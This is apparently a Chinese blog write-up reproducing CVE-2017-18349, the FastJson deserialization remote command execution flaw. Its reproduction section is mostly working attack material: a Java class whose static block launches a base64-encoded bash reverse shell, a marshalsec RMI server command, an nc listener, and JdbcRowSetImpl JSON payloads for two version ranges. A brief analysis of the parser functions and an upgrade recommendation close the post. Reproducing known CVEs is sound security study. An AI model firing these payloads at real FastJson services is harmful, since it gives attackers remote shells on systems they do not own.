发布于 

CVE-2017-18349(FastJson<=1.2.24任意命令执行)

1. 漏洞描述

fastjson 在解析 json 的过程中,支持使用 autoType 来实例化某一个具体的类,并调用该类的 set/get 方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

2. 影响版本

两个payload不同

  • FastJson <= 1.2.24

  • FastJson <= 1.2.47

3. 漏洞复现

3.1 编译EXP

因为目标环境是 Java 8u102,没有 com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以使用 com.sun.rowset.JdbcRowSetImpl的利用链,借助 JNDI 注入来执行命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash","-c","bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3CRri184LjEzNZz5yNDEuMC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

image-20221020004432454

注意:

  • String commands 在部分环境下需要添加bash -c ,否则无法执行命令。
  • 如果没有 web 服务,其实可以通过 php -S 0.0.0.0: port或者 python -m SimpleHTTPServer port临时搭建一个 web 服务器,其发布目录即当前执行目录。

3.2 监听端口用于访问.class文件

1
python3 -m http.server (port)

image-20221020005228940

3.3 使用marshalsec开放端口

1
java -cp marshalsec-all.jar marshalsec.jndi.RMIRefServer "http://(ip):(port)/#TouchFile" 9999

image-20221020005322781

3.4 nc监听接收Shell

1
nc -lvvp (port)

3.5 Burp发包触发反弹Shell

  1. POST请求发包

  2. Content-Type : application/json

  3. FastJson <= 1.2.24的PayLoad

    1
    2
    3
    4
    5
    6
    7
    {
    "b":{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"rmi://ip:(marshalsec port)/TouchFile",
    "autoCommit":true
    }
    }
  4. FastJson <= 1.2.47的PayLoad

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    {
    "a":{
    "@type":"java.lang.Class",
    "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"rmi://(ip):(mar)/TouchFile",
    "autoCommit":true
    }
    }

3.6 结果

Marshalsec端监听:

image-20221020011327336

Python Server端服务:

image-20221020011435511

nc监听端:

image-20221020011528332

4. 漏洞分析

https://www.freebuf.com/vuls/208339.html

http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/

4.1 审计关键函数

DefaultJSONParser. parseObject() 解析传入的 json 字符串提取不同的 key 进行后续的处理TypeUtils. loadClass() 根据传入的类名,生成类的实例JavaBeanDeserializer. Deserialze() 依次调用 @type 中传入类的对象公有 set\get\is 方法。ParserConfig. checkAutoType() 阿里后续添加的防护函数,用于在 loadclass 前检查传入的类是否合法。

5. 修复建议

升级最新斑斑